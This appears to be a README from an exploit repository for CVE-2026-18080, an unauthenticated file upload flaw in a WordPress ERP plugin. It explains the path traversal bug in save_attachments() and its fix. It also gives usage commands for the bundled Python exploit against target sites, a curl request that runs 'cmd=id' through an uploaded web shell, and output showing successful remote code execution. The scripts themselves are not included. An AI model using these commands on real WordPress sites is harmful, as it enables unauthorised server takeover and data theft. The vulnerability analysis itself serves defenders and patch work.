polosss/by-poloss..-..cve-2026-18080Exploit for CVE-2026-18080, an unauthenticated arbitrary file upload leading to RCE in ERP Complete HR, Accounting & CRM Suite. Includes Python and PHP scripts for automated exploitation.
| Field | Value |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| Patch | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (Critical) |
| CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) |
| Affected | ERP plugin versions <= 1.17.7 (fixed in 1.17.8) |
The ERP plugin's save_attachments() function in GmailSync.php processes inbound email attachments from IMAP without path normalization. An attacker can craft an email with a filename like ../../plugins/shell.php and a forged References header matching the plugin's expected pattern. The cron-based IMAP sync job writes the file outside the .htaccess-protected crm-attachments/ directory into any writable path under wp-content/.
In GmailSync.php (v1.17.7):
$name = $item['name']; // No basename() or path normalization
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
The filename ../../plugins/shell.php concatenated with $dir (wp-content/uploads/crm-attachments/) resolves to wp-content/plugins/shell.php — a directory where PHP execution is allowed.
The fix (v1.17.8) adds sanitize_attachment_filename() which strips directory components via basename(), rejects path separators, and blocks dangerous extensions.
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
After successful upload:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| File | Description |
|---|---|
exploit.py | Python exploit script using wp-cli |
exploit.php | Standalone PHP exploit for wp eval-file |
README.md | This file |